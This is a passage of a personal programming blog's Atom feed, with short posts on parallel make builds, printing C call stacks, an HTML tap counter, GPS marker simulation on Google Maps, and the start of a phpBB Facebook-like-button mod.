url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqxv0cLigRpq6djd9vOBp9G5Zh0DF2D1CgzTj1bCRuJIlA5lMxQnhCokDKYJNHPZECfkzb33SFYeExTGFDxJ1_1S2k4vxAhXttHTiGufsQM8xFYNgYrI9c6lf3VEpB-t4miXDMHu-Emma8/s72-c/usualMatrixMul.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2284135312097304256.post-8718841016330590258</id><published>2013-04-04T06:52:00.003-07:00</published><updated>2013-04-04T06:53:55.752-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="C/C++"/><category scheme="http://www.blogger.com/atom/ns#" term="multi core"/><category scheme="http://www.blogger.com/atom/ns#" term="parallel make"/><title type='text'>Parallel make utility to leverage from multi core processors</title><content type='html'>By default make utility, which is used for building native code is single threaded, which means that though there can be different targets compiled in parallel from the makefiles, make utility will go in a serial fashion and build targets mentioned in the makefiles.&lt;br /&gt;
&lt;br /&gt;
But if you have multi core processors, you can utilize a handy switch in the make utility to build different targets in parallel.&lt;br /&gt;
&lt;br /&gt;
To get the number of CPUs you have in your machine, use: &lt;b&gt;grep &#39;processor.*:&#39; /proc/cpuinfo | wc –l&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Suppose you have two CPUs, you can command make utility to utilize both the CPUs at the same time and perform two different compilations in parallel.&lt;b&gt; &lt;/b&gt;Make utility takes a parameter, -j, which specifies the number of parallel make threads you need. You can say make &lt;b&gt;-j 2 makefiles&lt;/b&gt;, which will performs compilations in two parallel make threads.&lt;br /&gt;
&lt;br /&gt;
Now, to tie the make threads to the number of CPUs, we can use:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;make -f makefile -j `grep &#39;processor.*:&#39; /proc/cpuinfo | wc -l` -k buildall&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
This can utilize the full true computation power of your machine and complete compilation in less time.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Drawback:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
All separate make threads write output messages to the same output stream, so in your terminal, you will see jumbled messages from all parallel make threads. This could be a problem for logs, but for developers, who just want only the compilation to be done fast and not worried about the logs, this is cool.</content><link rel='replies' type='application/atom+xml' href='http://mypersonalsoft.blogspot.com/feeds/8718841016330590258/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mypersonalsoft.blogspot.com/2013/04/parallel-make-utility-to-leverage-from.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/8718841016330590258'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/8718841016330590258'/><link rel='alternate' type='text/html' href='http://mypersonalsoft.blogspot.com/2013/04/parallel-make-utility-to-leverage-from.html' title='Parallel make utility to leverage from multi core processors'/><author><name>Sriram .A.S.</name><uri>http://www.blogger.com/profile/01337412806938375187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTOk5pBDrD3bVsTMorH56P6isEct3xssz8HHkLk-EdL95yUKrpw_TjR3PQypX_IqjW-pj5rp4JuEc73FMsqe49yDm1DvsSEIJZtuP4DYsGq5aej-mwDfdjj_cbd1yIA/s220/DP.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2284135312097304256.post-2105930728736011960</id><published>2013-02-21T14:51:00.000-08:00</published><updated>2014-04-30T12:28:50.670-07:00</updated><title type='text'>Controlling C# application from web application</title><content type='html'>&amp;nbsp;In this small tutorial, we are going to create a simple C# windows application with a web browser component, load a web page in it, and control the complete native application from web based application which is loaded into the web browser control.&lt;br /&gt;
&lt;br /&gt;
By this, you can make your app fully as a web based app, in any of your favorite web based programming/scripting language like php, html, javascript and control the native application with web based coding.&lt;br /&gt;
&lt;br /&gt;
A demo app - the notifications app is made with this concept. The app is open source at &lt;a href=&quot;https://code.google.com/p/notificationsapp/&quot;&gt;https://code.google.com/p/notificationsapp/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
I will be writing the steps in this blog, but till that time, I made a small video tutorial explaining the steps. Please check that.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;iframe allowfullscreen=&#39;allowfullscreen&#39; webkitallowfullscreen=&#39;webkitallowfullscreen&#39; mozallowfullscreen=&#39;mozallowfullscreen&#39; width=&#39;320&#39; height=&#39;266&#39; src=&#39;https://www.youtube.com/embed/mlhitaBp32c?feature=player_embedded&#39; frameborder=&#39;0&#39;&gt;&lt;/iframe&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://mypersonalsoft.blogspot.com/feeds/2105930728736011960/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mypersonalsoft.blogspot.com/2013/02/controlling-native-c-application-from.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/2105930728736011960'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/2105930728736011960'/><link rel='alternate' type='text/html' href='http://mypersonalsoft.blogspot.com/2013/02/controlling-native-c-application-from.html' title='Controlling C# application from web application'/><author><name>Sriram .A.S.</name><uri>http://www.blogger.com/profile/01337412806938375187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTOk5pBDrD3bVsTMorH56P6isEct3xssz8HHkLk-EdL95yUKrpw_TjR3PQypX_IqjW-pj5rp4JuEc73FMsqe49yDm1DvsSEIJZtuP4DYsGq5aej-mwDfdjj_cbd1yIA/s220/DP.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2284135312097304256.post-854797488236152805</id><published>2012-11-26T11:41:00.001-08:00</published><updated>2013-02-19T22:58:59.933-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="C/C++"/><category scheme="http://www.blogger.com/atom/ns#" term="call stack"/><category scheme="http://www.blogger.com/atom/ns#" term="debugging"/><category scheme="http://www.blogger.com/atom/ns#" term="from code"/><category scheme="http://www.blogger.com/atom/ns#" term="print"/><category scheme="http://www.blogger.com/atom/ns#" term="unix"/><title type='text'>Printing call stack of a function using code in C/C++</title><content type='html'>Many times when you deal with memory related issues like resolving core-dumps, you are mis-led by debuggers in call stack of the issue because of various reasons.&lt;br /&gt;
In those cases, you can actually write a piece of code that can print the call stack from any place. The good thing is, its fully in code, so you can identify your culprit call stack with this way by adding this code in your suspect functions.&lt;br /&gt;
&lt;br /&gt;
Use this unix code snippet to print call stack:&lt;br /&gt;
(Dont forget to include &lt;b&gt;execinfo.h&lt;/b&gt; header file)&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
void* buff[100];&lt;br /&gt;
int cnt=backtrace(buff,100);&lt;br /&gt;
char** str=backtrace_symbols(buff,cnt);&lt;br /&gt;
for(int i=0;i&amp;lt;cnt;i++)&lt;br /&gt;
{&lt;br /&gt;
printf(&quot;\n%s\n&quot;,str[i]);&lt;br /&gt;
}&lt;/blockquote&gt;
&lt;br /&gt;
Search more on the functions used in example to leverage more. If you have any troubles in the call stack, use &lt;b&gt;-rdynamic&lt;/b&gt; option while compilation.</content><link rel='replies' type='application/atom+xml' href='http://mypersonalsoft.blogspot.com/feeds/854797488236152805/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mypersonalsoft.blogspot.com/2012/11/printing-call-stack-of-function-using.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/854797488236152805'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/854797488236152805'/><link rel='alternate' type='text/html' href='http://mypersonalsoft.blogspot.com/2012/11/printing-call-stack-of-function-using.html' title='Printing call stack of a function using code in C/C++'/><author><name>Sriram .A.S.</name><uri>http://www.blogger.com/profile/01337412806938375187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTOk5pBDrD3bVsTMorH56P6isEct3xssz8HHkLk-EdL95yUKrpw_TjR3PQypX_IqjW-pj5rp4JuEc73FMsqe49yDm1DvsSEIJZtuP4DYsGq5aej-mwDfdjj_cbd1yIA/s220/DP.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2284135312097304256.post-2706584296904078906</id><published>2012-10-11T04:17:00.003-07:00</published><updated>2012-10-11T04:19:33.543-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="assembly code of C/C++"/><category scheme="http://www.blogger.com/atom/ns#" term="best way"/><category scheme="http://www.blogger.com/atom/ns#" term="C/C++"/><category scheme="http://www.blogger.com/atom/ns#" term="C/C++ to assembly"/><category scheme="http://www.blogger.com/atom/ns#" term="learn"/><category scheme="http://www.blogger.com/atom/ns#" term="master"/><category scheme="http://www.blogger.com/atom/ns#" term="understanding datatypes"/><title type='text'>Best way to master C/C++</title><content type='html'>Use the &quot;-S&quot; option when you compile the code like &quot;bcc32.exe &lt;b&gt;-S&lt;/b&gt; Hello.c&quot;. This option informs the compiler to generate the assembly code of the given C code which is linked to produce the executable. Now open the asm code and understand how C works at the most minute level.&lt;br /&gt;
This helps a lot in understanding the stack and how datatypes are dealt with. &quot;-S&quot; option works with almost every compiler, if it doesnt work, check the compiler manual for generating asm code.</content><link rel='replies' type='application/atom+xml' href='http://mypersonalsoft.blogspot.com/feeds/2706584296904078906/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mypersonalsoft.blogspot.com/2012/10/best-way-to-master-cc.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/2706584296904078906'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/2706584296904078906'/><link rel='alternate' type='text/html' href='http://mypersonalsoft.blogspot.com/2012/10/best-way-to-master-cc.html' title='Best way to master C/C++'/><author><name>Sriram .A.S.</name><uri>http://www.blogger.com/profile/01337412806938375187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTOk5pBDrD3bVsTMorH56P6isEct3xssz8HHkLk-EdL95yUKrpw_TjR3PQypX_IqjW-pj5rp4JuEc73FMsqe49yDm1DvsSEIJZtuP4DYsGq5aej-mwDfdjj_cbd1yIA/s220/DP.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2284135312097304256.post-4422627489310344643</id><published>2012-06-14T13:18:00.000-07:00</published><updated>2012-06-14T13:26:08.171-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="actionscript"/><category scheme="http://www.blogger.com/atom/ns#" term="background remove"/><category scheme="http://www.blogger.com/atom/ns#" term="code"/><category scheme="http://www.blogger.com/atom/ns#" term="flash"/><category scheme="http://www.blogger.com/atom/ns#" term="flex"/><category scheme="http://www.blogger.com/atom/ns#" term="webcam"/><title type='text'>Webcam real time background remove using Flash/Actionscript/Flex</title><content type='html'>Today, I was trying a small prototype for my new project on actionscript for &lt;a href=&quot;http://hobbycoders.com/&quot;&gt;Hobby Coders&lt;/a&gt;, for that I had to make a good background remove script in actionscript. I wanted to choose HTML5 for this. If it were a desktop app, its wise to go with openCV with C for their rich libraries and speed. But for certain modules, flash was chosen.&lt;br /&gt;
&lt;br /&gt;
Demo (Fixed threshold): &lt;a href=&quot;http://hobbycoders.com/demos/backgroundremove/fixed_threshold&quot;&gt;http://hobbycoders.com/demos/backgroundremove/fixed_threshold&lt;/a&gt;&lt;br /&gt;
Code (Fixed threshold - Actionscript): &lt;a href=&quot;http://hobbycoders.com/demos/backgroundremove/fixed_threshold/code.txt&quot;&gt;http://hobbycoders.com/demos/backgroundremove/fixed_threshold/code.txt&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Demo (Variable threshold): &lt;a href=&quot;http://hobbycoders.com/demos/backgroundremove/variable_threshold&quot;&gt;http://hobbycoders.com/demos/backgroundremove/variable_threshold&lt;/a&gt;&lt;br /&gt;
Code (Variable threshold - Flex 3): &lt;a href=&quot;http://hobbycoders.com/demos/backgroundremove/variable_threshold/code.txt&quot;&gt;http://hobbycoders.com/demos/backgroundremove/variable_threshold/code.txt&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Here is the algorithm Im using:&lt;br /&gt;
1. Save a bitmap (we will call it BMP_BG) of the background without the person&lt;br /&gt;
2. From now the current frame is compared with BMP_BG, pixel by pixel&lt;br /&gt;
3. For comparison, I calculate the luminance value (one used in Grey scale) for each pixel for both the images and compare this value, so that their difference lie inside a threshold value&lt;br /&gt;
4. If they both are same, I put the pixel of the rendered image as white otherwise, I copy the corresponding pixel from the current frame&amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
Please take a look at them guys, if someone wants similar codes, ofcourse feel free to use mine but please give your feedbacks here! If anyone can suggest me a better method, please post here too.&lt;br /&gt;
&lt;br /&gt;
Still im continuously optimizing the algorithm that Im using to get a perfect result. If I get a better result, I will definitely share the idea with you all.</content><link rel='replies' type='application/atom+xml' href='http://mypersonalsoft.blogspot.com/feeds/4422627489310344643/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mypersonalsoft.blogspot.com/2012/06/webcam-real-time-background-remove.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/4422627489310344643'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/4422627489310344643'/><link rel='alternate' type='text/html' href='http://mypersonalsoft.blogspot.com/2012/06/webcam-real-time-background-remove.html' title='Webcam real time background remove using Flash/Actionscript/Flex'/><author><name>Sriram .A.S.</name><uri>http://www.blogger.com/profile/01337412806938375187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTOk5pBDrD3bVsTMorH56P6isEct3xssz8HHkLk-EdL95yUKrpw_TjR3PQypX_IqjW-pj5rp4JuEc73FMsqe49yDm1DvsSEIJZtuP4DYsGq5aej-mwDfdjj_cbd1yIA/s220/DP.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2284135312097304256.post-5443510760145078618</id><published>2012-06-12T12:14:00.002-07:00</published><updated>2012-06-13T00:01:41.176-07:00</updated><title type='text'>Simple HTML Counter - count on tap - for Touchphones Android/iOS etc</title><content type='html'>I have a practice of chanting daily. For that I used to use a mechanical counter. Many times I bought that and it broke. I have a Android Smartphone. This time I made a small HTML page that will count on finger tap anywhere on mobile screen. The good thing in this is, when I walk, I can tap anywhere in the screen without seeing the screen and the count occurs unlike many other apps that contains a specific button to be pressed for counting. I made this thing for my personal use, but thought of sharing with people of similar requirements&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Screenshot:&amp;nbsp; &lt;/b&gt;(In device: Tap anywhere on screen, count increases) Tested and working in Android and iOS (its HTML, device independent)&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2N8MBsnNNkdKNI-SOyNaHgXesetvy_T_YHMwzv1P9K-jPV0idWFON_XMhJX3hMJ2Vzxc1Y9GajVkaPay9JLWRFiS6-0Zig4k-XWKMM7kQJO-Wu8z3Yq4WFAdon5KRU3uE8hSDrgPohdb5/s1600/screenshot_2012-06-13_0029_1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2N8MBsnNNkdKNI-SOyNaHgXesetvy_T_YHMwzv1P9K-jPV0idWFON_XMhJX3hMJ2Vzxc1Y9GajVkaPay9JLWRFiS6-0Zig4k-XWKMM7kQJO-Wu8z3Yq4WFAdon5KRU3uE8hSDrgPohdb5/s320/screenshot_2012-06-13_0029_1.png&quot; width=&quot;213&quot; /&gt;&lt;/a&gt; &lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;b&gt;Steps: &lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
1. Visit: &lt;a href=&quot;http://hobbycoders.com/products/simplecounter/simplecounter.html&quot;&gt;http://hobbycoders.com/products/simplecounter/simplecounter.html&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
from your mobile browser. If you want the code to be hosted online and follow from step 5 below&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;b&gt;OR&lt;/b&gt; If you want to have it offline without Internet, follow the steps&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
1. Create a new file called &quot;simplecounter.html&quot;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
2. Open it with any text editor (notepad, etc)&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
3. Paste this code in it&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&amp;lt;!DOCTYPE html&amp;gt;&lt;/div&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
&amp;lt;title&amp;gt;Simple Counter by Hobby Coders&amp;lt;/title&amp;gt;&lt;br /&gt;
&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
&amp;lt;br/&amp;gt;&amp;lt;br/&amp;gt;&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;h1&amp;gt;&lt;br /&gt;
&amp;lt;div id=&quot;count&quot;&amp;gt;0&amp;lt;/div&amp;gt;&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;br/&amp;gt;&amp;lt;br/&amp;gt;&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;font size=&quot;1&quot;&amp;gt;&amp;amp;copy;2012-13 HobbyCoders.com&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&lt;br /&gt;
var count=0;&lt;br /&gt;
var countPtr=document.getElementById(&#39;count&#39;);&lt;br /&gt;
document.addEventListener(&#39;touchstart&#39;, function(e){e.preventDefault(); count++; countPtr.innerHTML=count;}, false);&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;/blockquote&gt;
4. Copy this html file to your mobile device &lt;br /&gt;
5. Open this file in Android/iOS browser. Tap anywhere on the screen to count up&lt;br /&gt;
If in android it doesnt work in default browser, do this&lt;br /&gt;
&lt;b&gt;RECOMMENDED FOR ANDROID:&lt;/b&gt; Install this file manager app from Google Play (&lt;a href=&quot;https://play.google.com/store/apps/details?id=com.rhmsoft.fm&quot;&gt;https://play.google.com/store/apps/details?id=com.rhmsoft.fm&lt;/a&gt;) and open the html file with the &quot;HTML Viewer&quot; of this app. It works neat and clean&lt;br /&gt;
6. People who dont require hi-fi app for counting, people who just need such an app for chanting or similar purposes can use this app&lt;br /&gt;
7. And I didnt complicate the app with save last count, reset etc because, you go back from app and open it again in browser, count resets, and press Home key, the browser goes to background and you can continue later from the same count (multitasking)</content><link rel='replies' type='application/atom+xml' href='http://mypersonalsoft.blogspot.com/feeds/5443510760145078618/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mypersonalsoft.blogspot.com/2012/06/simple-html-counter-count-on-tap-for.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/5443510760145078618'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/5443510760145078618'/><link rel='alternate' type='text/html' href='http://mypersonalsoft.blogspot.com/2012/06/simple-html-counter-count-on-tap-for.html' title='Simple HTML Counter - count on tap - for Touchphones Android/iOS etc'/><author><name>Sriram .A.S.</name><uri>http://www.blogger.com/profile/01337412806938375187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTOk5pBDrD3bVsTMorH56P6isEct3xssz8HHkLk-EdL95yUKrpw_TjR3PQypX_IqjW-pj5rp4JuEc73FMsqe49yDm1DvsSEIJZtuP4DYsGq5aej-mwDfdjj_cbd1yIA/s220/DP.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2N8MBsnNNkdKNI-SOyNaHgXesetvy_T_YHMwzv1P9K-jPV0idWFON_XMhJX3hMJ2Vzxc1Y9GajVkaPay9JLWRFiS6-0Zig4k-XWKMM7kQJO-Wu8z3Yq4WFAdon5KRU3uE8hSDrgPohdb5/s72-c/screenshot_2012-06-13_0029_1.png" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2284135312097304256.post-6790476465035369683</id><published>2012-02-14T05:21:00.000-08:00</published><updated>2015-02-22T22:13:46.082-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="google maps"/><category scheme="http://www.blogger.com/atom/ns#" term="GPS moving marker"/><category scheme="http://www.blogger.com/atom/ns#" term="simulating google latitude"/><category scheme="http://www.blogger.com/atom/ns#" term="simulating GPS client"/><category scheme="http://www.blogger.com/atom/ns#" term="simulating people moving"/><title type='text'>Simulating moving targets in Google Maps</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Recently i made a project in which I had to simulate real targets/GPS Clients moving gently in Google Maps. I want to share the logic for people who want similar codes.&lt;br /&gt;
&lt;br /&gt;
DEMO: &lt;a href=&quot;http://hobbycoders.com/demos/gpssimulation&quot;&gt;http://hobbycoders.com/demos/gpssimulation&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Google API provides a method of directly rendering the entire path between a source and destination. But if you want the same thing to be done but simulating a moving target in the same path, a bit of code has to be written. So here is the logic:&lt;br /&gt;
&lt;br /&gt;
1. Google API can give the path coordinates (Latitude, Longitude) in JSON or XML. An example of JSON direction lookup from Srirangam to Trichy (They both are places in India), google direct URI which gives direct JSON output will look like:&lt;br /&gt;
&lt;a href=&quot;http://maps.googleapis.com/maps/api/directions/json?origin=srirangam&amp;amp;destination=trichy&amp;amp;sensor=false&quot;&gt;http://maps.googleapis.com/maps/api/directions/json?origin=srirangam&amp;amp;destination=trichy&amp;amp;sensor=false&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
2. Now from AJAX get the output of file and make a Javascript object from it easily (thats why JSON used). I was facing problem of cross domain ajax referencing with this, so i created a Java code in my domain which can proxy the web page for me in same domain&lt;br /&gt;
&lt;br /&gt;
3. Once done, for each step of direction (like first turn left, then turn left etc.,), you get a variable called points in converted Javascript object from JSON. To extract it use:&lt;br /&gt;
jsonObject.routes[index].legs[index].steps[index].polyline.points&lt;br /&gt;
&lt;br /&gt;
4. If you notice, the points data will be encoded. Decode it, google has already given the code to decode it&lt;br /&gt;
&lt;br /&gt;
5. And now for each step in direction, you will get many coordinates of latitude-longitude pair&lt;br /&gt;
&lt;br /&gt;
6. Create a Polyline (Google Map object) for each pair of lat-long (if you need the entire trail of path) or a Marker (only current position)&lt;br /&gt;
&lt;br /&gt;
7. Call some delay function in javascript like setInterval will be a good choice, iterate through the coordinates slowly and render polylines. This will give a feeling that some target is actually moving on map&lt;br /&gt;
&lt;br /&gt;
8. Use a loop and do the same for many targets, so that many GPS targets will be on your Google Map (Multithreading experience)&lt;br /&gt;
&lt;br /&gt;
Code Demo: &lt;a href=&quot;http://hobbycoders.com/demos/gpssimulation&quot;&gt;http://hobbycoders.com/demos/gpssimulation&lt;/a&gt;&amp;nbsp; &amp;nbsp;(view the source code of the demo)&lt;br /&gt;
&lt;br /&gt;
If you face any problem with the logic/code i shared or if you need any code helps with this please email me or leave a comment here. If you have an alternate method also, please share.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://mypersonalsoft.blogspot.com/feeds/6790476465035369683/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mypersonalsoft.blogspot.com/2012/02/simulating-moving-targets-in-google.html#comment-form' title='100 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/6790476465035369683'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2284135312097304256/posts/default/6790476465035369683'/><link rel='alternate' type='text/html' href='http://mypersonalsoft.blogspot.com/2012/02/simulating-moving-targets-in-google.html' title='Simulating moving targets in Google Maps'/><author><name>Sriram .A.S.</name><uri>http://www.blogger.com/profile/01337412806938375187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTOk5pBDrD3bVsTMorH56P6isEct3xssz8HHkLk-EdL95yUKrpw_TjR3PQypX_IqjW-pj5rp4JuEc73FMsqe49yDm1DvsSEIJZtuP4DYsGq5aej-mwDfdjj_cbd1yIA/s220/DP.jpg'/></author><thr:total>100</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2284135312097304256.post-4214474929151085649</id><published>2012-01-25T10:49:00.000-08:00</published><updated>2012-06-12T23:37:38.606-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="facebook like button in each topic"/><category scheme="http://www.blogger.com/atom/ns#" term="phpbb hack"/><title type='text'>[PHPBB MOD] Facebook like button in each topic / thread</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
This mod adds a facebook like button to each topic. &lt;br /&gt;
Tested with phpBB 3 (But there is no version dependent code, so it will work on all versions, if someone tests in other versions, please post the errors/success messages here)&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Screenshot:&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAfWbxalPpS0hQqr0aPi0wnFrpC9nxosD-sZ8Cd6iasCuECSnj-EqfoFcXkL3-2raz3n0hXARxwx2KLGHOlRm9LfCtoss-ZQRpw_5tOO_XNc1_SDkzCz1vFQullOrecsXcpn_wb8wU9KHd/s1600/phpbb_fblike_screenshot.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;145&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAfWbxalPpS0hQqr0aPi0wnFrpC9nxosD-sZ8Cd6iasCuECSnj-EqfoFcXkL3-2raz3n0hXARxwx2KLGHOlRm9LfCtoss-ZQRpw_5tOO_XNc1_SDkzCz1vFQullOrecsXcpn_wb8wU9KHd/s320/phpbb_fblike_screenshot.JPG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;&lt;b&gt;Steps:&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
1. OPEN FORUM_ROOT/includes/functions.php&lt;br /&gt;
&lt;br /&gt;
2. FIND THE BLOCK:&lt;br /&gt;
--------------------&lt;br /&gt;
// Send a proper content-language to the output&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; $user_lang = $user-&amp;gt;lang[&#39;USER_LANG&#39;];&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; if (strpos($user_lang, &#39;-x-&#39;) !== false)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $user_lang = substr($user_lang, 0, strpos($user_lang, &#39;-x-&#39;));&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
--------------------&lt;br /&gt;
&lt;br /&gt;
3. ADD BELOW:&lt;br /&gt;
--------------------&lt;br /&gt;
//Facebook like hack by Sriram.A.S. (sriramdasty7@gmail.com)&lt;br /&gt;
